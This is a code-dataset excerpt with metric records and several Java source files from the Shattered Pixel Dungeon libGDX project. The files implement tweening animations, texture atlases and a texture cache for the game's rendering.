{"qsc_code_num_words": 149, "qsc_code_num_chars": 1030.0, "qsc_code_mean_word_length": 4.97986577, "qsc_code_frac_words_unique": 0.65100671, "qsc_code_frac_chars_top_2grams": 0.04447439, "qsc_code_frac_chars_top_3grams": 0.05256065, "qsc_code_frac_chars_top_4grams": 0.07681941, "qsc_code_frac_chars_dupe_5grams": 0.11051213, "qsc_code_frac_chars_dupe_6grams": 0.0754717, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02197802, "qsc_code_frac_chars_whitespace": 0.20485437, "qsc_code_size_file_byte": 1030.0, "qsc_code_num_lines": 37.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 27.83783784, "qsc_code_frac_chars_alphabet": 0.88400488, "qsc_code_frac_chars_comments": 0.75825243, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.08333333, "qsc_codejava_score_lines_no_logic": 0.16666667, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/tweeners/ScaleTweener.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.tweeners; import com.watabou.noosa.Visual; import com.watabou.utils.PointF; public class ScaleTweener extends Tweener { public Visual visual; public PointF start; public PointF end; public ScaleTweener( Visual visual, PointF scale, float time ) { super( visual, time ); this.visual = visual; start = visual.scale; end = scale; } @Override protected void updateValues( float progress ) { visual.scale = PointF.inter( start, end, progress ); } }
1,282
ScaleTweener
java
en
java
code
{"qsc_code_num_words": 182, "qsc_code_num_chars": 1282.0, "qsc_code_mean_word_length": 5.14285714, "qsc_code_frac_words_unique": 0.56593407, "qsc_code_frac_chars_top_2grams": 0.03525641, "qsc_code_frac_chars_top_3grams": 0.04166667, "qsc_code_frac_chars_top_4grams": 0.06089744, "qsc_code_frac_chars_dupe_5grams": 0.08760684, "qsc_code_frac_chars_dupe_6grams": 0.05982906, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01644101, "qsc_code_frac_chars_whitespace": 0.19344774, "qsc_code_size_file_byte": 1282.0, "qsc_code_num_lines": 46.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 27.86956522, "qsc_code_frac_chars_alphabet": 0.88878143, "qsc_code_frac_chars_comments": 0.60920437, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.05555556, "qsc_codejava_score_lines_no_logic": 0.38888889, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/tweeners/Tweener.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.tweeners; import com.watabou.noosa.Game; import com.watabou.noosa.Gizmo; abstract public class Tweener extends Gizmo { public Gizmo target; public float interval; public float elapsed; public Listener listener; public Tweener( Gizmo target, float interval ) { super(); this.target = target; this.interval = interval; elapsed = 0; } @Override public void update() { if (elapsed < 0){ onComplete(); kill(); return; } elapsed += Game.elapsed; //it's better to skip this frame ahead and finish one frame early // if doing one more frame would result in lots of overshoot if ((interval - elapsed) < Game.elapsed/2f){ elapsed = interval; } if (elapsed >= interval) { updateValues( 1 ); onComplete(); kill(); } else { updateValues( elapsed / interval ); } } public void stop( boolean complete ){ elapsed = complete ? interval : -1; } protected void onComplete() { if (listener != null) { listener.onComplete( this ); } } abstract protected void updateValues( float progress ); public static interface Listener { void onComplete( Tweener tweener ); } }
1,964
Tweener
java
en
java
code
{"qsc_code_num_words": 257, "qsc_code_num_chars": 1964.0, "qsc_code_mean_word_length": 5.29961089, "qsc_code_frac_words_unique": 0.50194553, "qsc_code_frac_chars_top_2grams": 0.02422907, "qsc_code_frac_chars_top_3grams": 0.02863436, "qsc_code_frac_chars_top_4grams": 0.04185022, "qsc_code_frac_chars_dupe_5grams": 0.06020558, "qsc_code_frac_chars_dupe_6grams": 0.04111601, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01432292, "qsc_code_frac_chars_whitespace": 0.21792261, "qsc_code_size_file_byte": 1964.0, "qsc_code_num_lines": 84.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 23.38095238, "qsc_code_frac_chars_alphabet": 0.87239583, "qsc_code_frac_chars_comments": 0.46130346, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08695652, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.08695652, "qsc_codejava_score_lines_no_logic": 0.23913043, "qsc_codejava_frac_words_no_modifier": 0.75, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": null, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/gltextures/Atlas.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.gltextures; import com.watabou.utils.RectF; import java.util.HashMap; public class Atlas { public SmartTexture tx; protected HashMap<Object,RectF> namedFrames; protected float uvLeft; protected float uvTop; protected float uvWidth; protected float uvHeight; protected int cols; public Atlas( SmartTexture tx ) { this.tx = tx; tx.atlas = this; namedFrames = new HashMap<>(); } public void add( Object key, int left, int top, int right, int bottom ) { add( key, uvRect( tx, left, top, right, bottom ) ); } public void add( Object key, RectF rect ) { namedFrames.put( key, rect ); } public void grid( int width ) { grid( width, tx.height ); } public void grid( int width, int height ) { grid( 0, 0, width, height, tx.width / width ); } public void grid( int left, int top, int width, int height, int cols ) { uvLeft = (float)left / tx.width; uvTop = (float)top / tx.height; uvWidth = (float)width / tx.width; uvHeight= (float)height / tx.height; this.cols = cols; } public RectF get( int index ) { float x = index % cols; float y = index / cols; float l = uvLeft + x * uvWidth; float t = uvTop + y * uvHeight; return new RectF( l, t, l + uvWidth, t + uvHeight ); } public RectF get( Object key ) { return namedFrames.get( key ); } public float width( RectF rect ) { return rect.width() * tx.width; } public float height( RectF rect ) { return rect.height() * tx.height; } public static RectF uvRect( SmartTexture tx, int left, int top, int right, int bottom ) { return new RectF( (float)left / tx.width, (float)top / tx.height, (float)right / tx.width, (float)bottom / tx.height ); } }
2,507
Atlas
java
en
java
code
{"qsc_code_num_words": 359, "qsc_code_num_chars": 2507.0, "qsc_code_mean_word_length": 4.72423398, "qsc_code_frac_words_unique": 0.34818942, "qsc_code_frac_chars_top_2grams": 0.02830189, "qsc_code_frac_chars_top_3grams": 0.02299528, "qsc_code_frac_chars_top_4grams": 0.03360849, "qsc_code_frac_chars_dupe_5grams": 0.14504717, "qsc_code_frac_chars_dupe_6grams": 0.06839623, "qsc_code_frac_chars_dupe_7grams": 0.03537736, "qsc_code_frac_chars_dupe_8grams": 0.03537736, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00972364, "qsc_code_frac_chars_whitespace": 0.22058237, "qsc_code_size_file_byte": 2507.0, "qsc_code_num_lines": 99.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 25.32323232, "qsc_code_frac_chars_alphabet": 0.85823951, "qsc_code_frac_chars_comments": 0.31152772, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.16949153, "qsc_codejava_score_lines_no_logic": 0.3220339, "qsc_codejava_frac_words_no_modifier": 0.90909091, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/gltextures/TextureCache.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.gltextures; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.Pixmap; import com.watabou.glwrap.Texture; import com.watabou.noosa.Game; import java.util.HashMap; public class TextureCache { private static HashMap<Object,SmartTexture> all = new HashMap<>(); public synchronized static SmartTexture createSolid( int color ) { final String key = "1x1:" + color; if (all.containsKey( key )) { return all.get( key ); } else { final Pixmap pixmap = new Pixmap(1, 1, Pixmap.Format.RGBA8888); // In the rest of the code ARGB is used pixmap.setColor( (color << 8) | (color >>> 24) ); pixmap.fill(); SmartTexture tx = new SmartTexture( pixmap ); all.put(key, tx); return tx; } } public synchronized static SmartTexture createGradient( int... colors ) { final String key = "" + colors; if (all.containsKey( key )) { return all.get( key ); } else { Pixmap pixmap = new Pixmap( colors.length, 1, Pixmap.Format.RGBA8888); for (int i=0; i < colors.length; i++) { // In the rest of the code ARGB is used pixmap.drawPixel( i, 0, (colors[i] << 8) | (colors[i] >>> 24) ); } SmartTexture tx = new SmartTexture( pixmap ); tx.filter( Texture.LINEAR, Texture.LINEAR ); tx.wrap( Texture.CLAMP, Texture.CLAMP ); all.put( key, tx ); return tx; } } public synchronized static void add( Object key, SmartTexture tx ) { all.put( key, tx ); } public synchronized static void remove( Object key ){ SmartTexture tx = all.get( key ); if (tx != null){ all.remove(key); tx.delete(); } } public synchronized static SmartTexture get( Object src ) { if (all.containsKey( src )) { return all.get( src ); } else if (src instanceof SmartTexture) { return (SmartTexture)src; } else { SmartTexture tx = new SmartTexture( getBitmap( src ) ); all.put( src, tx ); return tx; } } public synchronized static void clear() { for (Texture txt : all.values()) { txt.delete(); } all.clear(); } public synchronized static void reload() { for (SmartTexture tx : all.values()) { tx.reload(); } } public static Pixmap getBitmap( Object src ) { try { if (src instanceof Integer){ // FIXME throw new UnsupportedOperationException(); } else if (src instanceof String) { return new Pixmap(Gdx.files.internal((String)src)); } else if (src instanceof Pixmap) { return (Pixmap) src; } else { return null; } } catch (Exception e) { Game.reportException(e); return null; } } public synchronized static boolean contains( Object key ) { return all.containsKey( key ); } }
3,532
TextureCache
java
en
java
code
{"qsc_code_num_words": 453, "qsc_code_num_chars": 3532.0, "qsc_code_mean_word_length": 5.07505519, "qsc_code_frac_words_unique": 0.35761589, "qsc_code_frac_chars_top_2grams": 0.06263593, "qsc_code_frac_chars_top_3grams": 0.08351457, "qsc_code_frac_chars_top_4grams": 0.04523706, "qsc_code_frac_chars_dupe_5grams": 0.23923445, "qsc_code_frac_chars_dupe_6grams": 0.14267073, "qsc_code_frac_chars_dupe_7grams": 0.11831231, "qsc_code_frac_chars_dupe_8grams": 0.1000435, "qsc_code_frac_chars_dupe_9grams": 0.1000435, "qsc_code_frac_chars_dupe_10grams": 0.02957808, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01410019, "qsc_code_frac_chars_whitespace": 0.23697622, "qsc_code_size_file_byte": 3532.0, "qsc_code_num_lines": 161.0, "qsc_code_num_chars_line_max": 75.0, "qsc_code_num_chars_line_mean": 21.9378882, "qsc_code_frac_chars_alphabet": 0.83896104, "qsc_code_frac_chars_comments": 0.24546999, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.20224719, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00150094, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00621118, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.01123596, "qsc_codejava_score_lines_no_logic": 0.13483146, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/gltextures/SmartTexture.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.gltextures; import com.badlogic.gdx.graphics.Pixmap; import com.watabou.glwrap.Texture; import com.watabou.utils.RectF; public class SmartTexture extends Texture { public int width; public int height; public int fModeMin; public int fModeMax; public int wModeH; public int wModeV; public Pixmap bitmap; public Atlas atlas; protected SmartTexture( ) { //useful for subclasses which want to manage their own texture data // in cases where com.badlogic.gdx.graphics.Pixmap isn't fast enough. //subclasses which use this MUST also override some mix of reload/generate/bind } public SmartTexture( Pixmap bitmap ) { this( bitmap, NEAREST, CLAMP ); } public SmartTexture( Pixmap bitmap, int filtering, int wrapping ) { this.bitmap = bitmap; width = bitmap.getWidth(); height = bitmap.getHeight(); this.fModeMin = this.fModeMax = filtering; this.wModeH = this.wModeV = wrapping; } @Override protected void generate() { super.generate(); bitmap( bitmap ); super.filter( fModeMin, fModeMax ); super.wrap( wModeH, wModeV ); } @Override public void filter(int minMode, int maxMode) { if (fModeMin == minMode && fModeMax == maxMode) return; fModeMin = minMode; fModeMax = maxMode; if (id != -1) super.filter( fModeMin, fModeMax ); } @Override public void wrap( int s, int t ) { if (wModeH == s && wModeV == t) return; wModeH = s; wModeV = t; if (id != -1) super.wrap( wModeH, wModeV ); } @Override public void bitmap( Pixmap bitmap ) { super.bitmap( bitmap ); this.bitmap = bitmap; width = bitmap.getWidth(); height = bitmap.getHeight(); } public int getPixel( int x, int y ){ return bitmap.getPixel(x, y); } public void reload() { id = -1; generate(); } @Override public void delete() { super.delete(); if (bitmap != null) bitmap.dispose(); bitmap = null; } public RectF uvRect( float left, float top, float right, float bottom ) { return new RectF( left / width, top / height, right / width, bottom / height ); } }
2,860
SmartTexture
java
en
java
code
{"qsc_code_num_words": 380, "qsc_code_num_chars": 2860.0, "qsc_code_mean_word_length": 5.19210526, "qsc_code_frac_words_unique": 0.41052632, "qsc_code_frac_chars_top_2grams": 0.03193107, "qsc_code_frac_chars_top_3grams": 0.03649265, "qsc_code_frac_chars_top_4grams": 0.02889002, "qsc_code_frac_chars_dupe_5grams": 0.1662443, "qsc_code_frac_chars_dupe_6grams": 0.12468322, "qsc_code_frac_chars_dupe_7grams": 0.09630005, "qsc_code_frac_chars_dupe_8grams": 0.05676635, "qsc_code_frac_chars_dupe_9grams": 0.05676635, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00883783, "qsc_code_frac_chars_whitespace": 0.20874126, "qsc_code_size_file_byte": 2860.0, "qsc_code_num_lines": 127.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 22.51968504, "qsc_code_frac_chars_alphabet": 0.8630137, "qsc_code_frac_chars_comments": 0.34825175, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22077922, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.1038961, "qsc_codejava_score_lines_no_logic": 0.25974026, "qsc_codejava_frac_words_no_modifier": 0.88888889, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 